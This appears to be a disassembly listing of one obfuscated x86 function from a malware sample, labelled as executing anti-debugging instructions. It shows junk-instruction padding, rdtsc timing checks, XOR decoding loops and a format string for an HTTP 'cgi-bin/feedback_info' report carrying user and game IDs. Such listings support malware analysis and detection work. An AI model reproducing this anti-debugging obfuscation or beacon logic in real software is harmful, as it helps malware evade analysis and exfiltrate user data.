Function at 0x4fb392
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 8]
je 0x506e1a
pushfd
cmp dword [ebp - 0x1c], 8
pushfd
call fcn.004fee95
jg 0x4f7841
push 0x4f80d662
jmp 0x503441
btr cx, 2
cmc
das
bsf ecx, esp
mov eax, dword [ebp + 0x18]
clc
mov ecx, dword [eax]
bt ax, 1
mov dword [ebp - 0x14], ecx
bt esi, esp
push ebp
cmp dword [ebp - 0x14], 0
pushfd
mov dword [esp], edi
jmp 0x4f720b
test ax, bp
pushal
cmc
sub edx, 1
pushfd
call fcn.004fd9af
aam 0xde
aas
sbb ax, 0x1bac
mov eax, dword [ebp - 0x14]
stc
jmp 0x504061
mov dword [ebp - 0x18], 0
push esi
pushfd
mov byte [esp], 0xd7
lea esp, [esp + 0x28]
jmp 0x4fef38
mov edx, dword [ebp - 0x14]
mov byte [esp], cl
mov dword [esp], edx
setnp ah
push str.type_dnumber_dreserved_duserid_duserid2_dgameid_d
bswap eax
jmp 0x4ff834
pushfd
pushal
mov dword [esp + 0x20], ecx
mov dword [esp], edi
lea esp, [esp + 0x20]
call fcn.00502980
stc
add esp, 0xc
jmp 0x50704e
mov edx, dword [ebp - 0x18]
sar al, 3
shl al, cl
aam 0xbf
mov eax, dword [ebp - 0x18]
push 0x22bc8f40
mov byte [esp], dh
sub eax, 1
mov dword [esp], ebx
mov byte [esp], 0xbb
mov dword [ebp - 0x18], eax
cmp bp, 0xde50
test edx, edx
call fcn.005026aa
pop edx
push eax
jmp 0x747a8d98
cmp dword [ebp - 0x1c], 8
jmp 0x507a47
jmp 0x4ff168
push 0x8931745b
pushfd
pushfd
mov byte [esp], bh
lea esp, [esp + 0xc]
jmp 0x50134a
lea esp, [esp + 0x24]
jge 0x504181
mov dh, al
setg dh
rcr dx, 0xa
sal dh, 7
mov edx, dword [ebp - 0x18]
call fcn.004f7f58
add eax, 1
push edi
push dword [esp]
mov byte [esp + 4], dh
mov dword [ebp - 0x1c], eax
lea esp, [esp + 8]
cmp bh, ah
cmc
mov dword [ebp + 0xc], ecx
sub esp, 0xffffffd0
clc
cmp dword [ebp - 0x1c], 8
pushal
jmp 0x500619
push 0x999717a0
pushal
mov dword [ebp - 0x18], edx
pushfd
pushfd
mov dword [ebp - 0x1c], 0
lea esp, [esp + 0x38]
push esi
jmp 0x503dd4
jmp 0x4f9551
cmp ch, 0x65
cmp dword [ebp - 0x14], 8
push edi
lea esp, [esp + 4]
jge 0x5079f0
bsr cx, cx
rcl dl, 1
bt cx, ax
mov ecx, dword [ebp - 0x20]
rol al, 1
add ecx, dword [ebp - 0x14]
shld dx, bx, cl
xor al, cl
inc al
mov edx, dword [ebp - 0x14]
add al, 0x56
mov al, byte [ebp + edx - 0x10]
clc
clc
xor al, byte [ecx]
movzx cx, al
movsx cx, al
sete cl
mov ecx, dword [ebp - 0x14]
call fcn.00502ef0
lea esp, [esp + 0xc]
call fcn.005079e0
cmc
push 0x81fc9818
mov byte [esp], dl
add esp, 0x10
jmp 0x506440
clc
cmp dword [ebp - 0x18], 8
jbe 0x5021ce
pushfd
push 0x2dfcb01f
pushal
lea esp, [esp + 0x28]
jge 0x503479
cmc
not ah
aam 0x8b
mov eax, dword [ebp - 0x20]
clc
add eax, dword [ebp - 0x18]
stc
mov ecx, dword [ebp - 0x18]
clc
cmc
mov dl, byte [ebp + ecx - 8]
bt edi, 2
clc
xor dl, byte [eax]
lea eax, [edi + 0x60425a44]
setb al
not al
bswap ax
mov eax, dword [ebp - 0x18]
call fcn.004f727f
rcl dl, cl
mov dl, byte [ebp + ecx - 8]
test ch, dl
test bl, cl
mov byte [eax], dl
btr cx, di
xchg dl, ch
das
cmp al, 0x74
mov eax, dword [ebp + 0x14]
sbb cx, bx
shld dx, cx, cl
add eax, 1
shl cx, 6
bt di, di
shrd edx, ebp, cl
sete ch
mov dword [ebp + 0x14], eax
jmp 0x4ff148
pushfd
pushal
pushfd
mov esp, ebp
call fcn.00508f1c
bt ebp, eax
clc
mov ecx, dword [ebp - 0x10]
inc dx
add ecx, 1
cmp ch, dh
mov dword [ebp - 0x10], ecx
btc dx, 1
push esi
mov edx, dword [ebp - 0xc]
jmp 0x4f7a36
cmp ch, 0xa2
cmc
cmp dword [ebp - 0x14], 8
call fcn.004fd94f
xchg dx, ax
rdtsc
mov eax, dword [ebp + 8]
pushfd
bswap cx
lea edx, [edx*4 + 0x9e2ab06]
xchg dword [esp], eax
movzx cx, al
push 0x4f0d3536
mov word [esp], 0xc90b
mov ecx, dword [ebp - 0x18]
pushfd
movzx ax, dl
xchg edx, eax
setae ah
mov dword [esp + 4], ecx
not dl
rdtsc
movsx dx, dl
jmp 0x4f936d
mov ah, 0x1a
pushal
mov dword [esp + 0x1c], 0x103
cwde
pushfd
call fcn.004f79ed
movzx ecx, dl
mov dword [ebp - 0x368], eax
lea ecx, [esi*4 + 0x70418325]
mov cl, ah
call fcn.00500a0f
mov dword [esp + 0x2c], 0x4fd70c
call fcn.004fb022
pushfd
pushal
mov dword [esp + 0x20], edx
pushal
call fcn.004fd8ce
sbb al, 0x9a
mov esi, 0x8290e74f
pop es
out dx, al
mov al, byte [0x46a9219f]
push ebx
fmul st(2)
invalid
mov byte [esp], bh
mov dword [esp + 4], ecx
pushfd
push dword [esp + 4]
mov byte [esp + 8], 0x55
jmp 0x4feec7
pushfd
mov byte [ebp + ecx - 0x10], al
mov byte [esp], 0x72
push edx
push dword [esp + 4]
lea esp, [esp + 0x10]
jmp 0x4f7f48
mov dword [ebp - 0x14], 0
pushfd
pushal
lea esp, [esp + 0x24]
jmp 0x504027
lea esp, [esp + 0x20]
jne 0x4fafe2
push ecx
pushfd
pushfd
mov dword [ebp - 0x14], 0
mov word [esp], 0x8230
lea esp, [esp + 0xc]
jmp 0x4fa10e
mov byte [ebp + ecx - 0x10], al
mov byte [esp], 0x71
lea esp, [esp + 0x40]
jmp 0x4f7f48
mov dl, byte [ebp + ecx - 8]
call 0x4fe592
bt sp, 8
clc
clc
cmp dword [ebp + 0xc], 0
push 0x7db1e357
pushfd
lea esp, [esp + 8]
je 0x5092fe
test al, 0x68
jmp 0x4fa0d0
test dl, 7
mov dword [ebp - 8], 1
cmp ebp, 0x61bb908c
cmp dword [ebp - 8], 7
pushal
pushal
mov byte [esp + 0x10], dl
lea esp, [esp + 0x40]
jg 0x4ff0d0
pushal
pushfd
stc
jmp 0x5035e4
jmp 0x502279
push edx
pushfd
lea esp, [esp + 8]
jge 0x503479
aam 0x5f
lahf
clc
mov eax, dword [ebp - 0x20]
btc ecx, esp
xchg cl, dl
pushfd
lea ecx, [ecx + 0x5415d7e1]
add eax, dword [ebp - 0x18]
not cl
add cl, 0xdc
neg dl
mov ecx, dword [ebp - 0x18]
or dl, 0xc1
mov byte [esp], ah
jmp 0x501341
lea esp, [esp + 4]
jge 0x504afb
dec cx
xor ch, al
mov ax, ax
call fcn.004ff0bc
pushfd
mov dword [ebp - 0x36c], eax
sete ah
bswap edx
mov byte [esp], 0xf4
mov ecx, dword [ebp - 0x36c]
push dword [esp]
mov dword [esp + 4], ecx
setp al
pushfd
mov edx, dword [ebp - 0x20]
setp al
mov dword [esp + 4], edx
push edi
mov dword [esp + 4], str.http:___s_cgi_bin_feedback_info_s
mov ah, bh
lahf
not al
pushal
mov dword [esp + 0x20], 0x207
bswap ax
call fcn.005065d2
mov dword [ebp - 0x1c], edx
push 0xb1636b71
pushfd
pushfd
lea esp, [esp + 0x14]
jmp 0x5063df
pushal
pushal
mov ecx, dword [ebp - 0x14]
mov dword [esp], esi
jmp 0x500682
clc
test dh, 0xb2
clc
mov dword [ebp - 8], edx
add esp, 0x20
cmp al, ah
cmp al, 3
test dl, ah
cmp dword [ebp - 0x1c], 8
pushal
pushfd
lea esp, [esp + 0x24]
jne 0x503d28
push 0xc76af9eb
push 0xba2308d
mov dword [ebp - 0x14], 0
pushal
mov word [esp], 0x34d3
push dword [esp]
pushfd
lea esp, [esp + 0x30]
jmp 0x505daf
test dl, cl
cmp bl, 0xb8
cmp dword [ebp - 0x1c], 8
jmp 0x5022fd
xadd ch, dh
mov ecx, dword [ebp + 8]
call fcn.00500c2d
cmp dword [ebp - 0x1c], 8
pushal
lea esp, [esp + 0x44]
jge 0x502e8d
add ah, 0xfd
mov eax, dword [ebp - 0x1c]
shr ch, 3
xchg ch, dh
movzx cx, al
sbb dl, al
mov byte [ebp + eax - 0x10], 0
sal ch, cl
xadd ch, dh
mov ecx, dword [ebp - 0x1c]
shrd dx, cx, cl
rcr dx, cl
cmp dl, dh
add ecx, 1
movzx dx, bl
and dl, 0x55
btc edx, ebx
pushal
mov dword [ebp - 0x1c], ecx
bswap dx
clc
mov edx, dword [ebp - 8]
bt ax, 0xb
jmp 0x509188
pushfd
lea esp, [esp + 4]
jmp 0x501478
mov dword [esp], ebx
lea esp, [esp + 4]
jmp 0x4f7859
stc
add edx, 1
jmp 0x502e82
call fcn.00507aa7
push edi
pushfd
mov dword [ebp + 0x14], eax
pushal
mov byte [esp + 0xc], cl
mov byte [esp], ah
pushfd
lea esp, [esp + 0x2c]
jmp 0x501478
pushfd
cmc
add eax, 1
call 0x505da6
add ecx, 8
add dl, bh
rcl dl, cl
mov dword [ebp + 8], ecx
bsr dx, bx
cmp ch, 0x96
call fcn.004ffe9a
mov dword [ebp - 0x18], 0
pushal
lea esp, [esp + 0x24]
jmp 0x4fef38
cwde
not cx
not ah
mov eax, edi
lea ecx, [ebp - 0x10]
movsx edx, cl
cdq
mov dx, bp
pushal
mov dword [esp + 0x1c], ecx
rdtsc
setge dl
mov edx, dword [ebp + 0x10]
cwde
bswap ax
mov dword [esp + 0x18], edx
not eax
lea eax, [ebp - 0x10]
mov dword [esp], 0x63b51fda
pushfd
mov dword [esp + 0x18], eax
pushal
lea esp, [esp + 0x38]
call fcn.005033b0
sar cx, 0xc
stc
push eax
cmp ebp, 0x4377ed43
add esp, 0x10
adc dh, 0xe1
shld edx, eax, cl
clc
mov ecx, dword [ebp + 8]
adc edx, 0x57cab3b4
pushfd
btr dx, 0xd
add ecx, 8
pushfd
movzx edx, bl
bts dx, bx
mov dword [ebp + 8], ecx
cmc
sbb dl, 0x1d
setle dh
mov edx, dword [ebp - 0x18]
push dword [esp + 4]
bt edx, 0x17
stc
add edx, 8
jmp 0x4fbf28
call fcn.004f8769
clc
add esp, 0xc
jmp 0x5002d4
pushfd
pushfd
pushal
cmc
cmp dword [ebp - 0x1c], 8
call fcn.004feee1
jmp 0x508218
jns 0x4fed1d
test dh, 0x57
cmp dword [ebp - 0x14], 8
push 0x83e4bd55
mov byte [esp], bl
lea esp, [esp + 4]
jge 0x5079f0
movsx cx, al
mov ecx, dword [ebp - 0x20]
rol al, cl
add ecx, dword [ebp - 0x14]
rol al, cl
ror dh, 6
not al
movsx edx, dl
mov edx, dword [ebp - 0x14]
mov al, dl
bt di, si
mov al, byte [ebp + edx - 0x10]
push 0x23e90585
pushfd
pushfd
xor al, byte [ecx]
pushfd
movzx ecx, cl
not ch
lea esp, [esp + 0x10]
js 0x502e75
mov ecx, dword [ebp - 0x14]
push esi
jmp 0x50002d
aam 0xa1
jmp 0x4f9ff2
pushal
push dword [esp + 4]
mov dword [ebp - 0x18], 0
pushfd
lea esp, [esp + 0x28]
jmp 0x4fef38
cmp dl, 0xe4
mov dword [ebp - 0x20], 1
push edi
cmc
call fcn.004fba12
push 0xfef6acb9
lea eax, [ecx*8 + 0x5aea42ba]
mov eax, dword [ebp + 0x10]
movzx ecx, dl
movzx cx, al
mov dword [esp], eax
setl cl
push eax
mov ecx, dword [ebp + 8]
mov byte [esp], cl
pushfd
jmp 0x4ffe62
pushfd
pushal
mov dword [ebp - 0x14], 0
pushal
pushfd
mov byte [esp], dl
pushfd
lea esp, [esp + 0x4c]
jmp 0x504027
push edx
mov cl, byte [eax]
and al, 0x6f
rcr ah, 4
push ecx
mov word [esp], 0xee38
mov byte [ebp + edx - 0x10], cl
setp dh
pushal
rcr dh, cl
mov edx, dword [ebp - 0x1c]
daa
add edx, 1
aas
pushfd
or ah, bl
neg cl
mov dword [ebp - 0x1c], edx
sub cx, si
setp ch
lea ecx, [ebp - 0x429693e6]
mov eax, dword [ebp + 8]
bsf cx, si
shld cx, di, cl
add eax, 1
shr cl, cl
mov byte [esp + 4], dl
setbe cl
shr ch, 4
mov dword [ebp + 8], eax
sar ecx, cl
cmc
mov ecx, dword [ebp + 0xc]
cmp dx, 0x1cbf
cmp dh, 0x37
sub ecx, 1
pushfd
jmp 0x4fb9cb
seto al
mov dh, 0xd2
rdtsc
pushfd
mov edx, dword [ebp + 0x14]
lea ecx, [esi - 0x136a8afe]
mov dword [esp], edx
lahf
mov eax, dword [ebp + 0x10]
lea ecx, [ebp + 0x33840cff]
bswap cx
movsx ecx, al
lea ecx, [ecx + 0x141fba08]
push eax
movsx cx, cl
setno cl
lea ecx, [eax + 0x40800455]
push ecx
lea ecx, [ebp - 0x10]
lea esp, [esp + 4]
jp 0x4fe4d2
push 0x577cf318
mov byte [esp], 0xe
mov dword [esp], ecx
jmp 0x5042c4
jge 0x4fb9d4
sub dl, 0xe
aaa
cdq
adc dl, ch
mov edx, dword [ebp - 0x1c]
shrd eax, edi, 0xf
sar cl, cl
mov eax, dword [ebp + 8]
sbb cl, 0xb4
jmp 0x5075fe
cmc
stc
cmp dword [ebp - 0x24], 8
pushal
call fcn.004fb392
jmp 0x4f87d6
mov dword [esp], 0xa987e503
mov dword [ebp - 0x24], 0
push 0xa5efdda1
mov byte [esp + 4], 0x42
push dword [esp]
lea esp, [esp + 0xc]
jmp 0x507ad4
jmp 0x503e29
test cl, 0xe1
jmp 0x50146e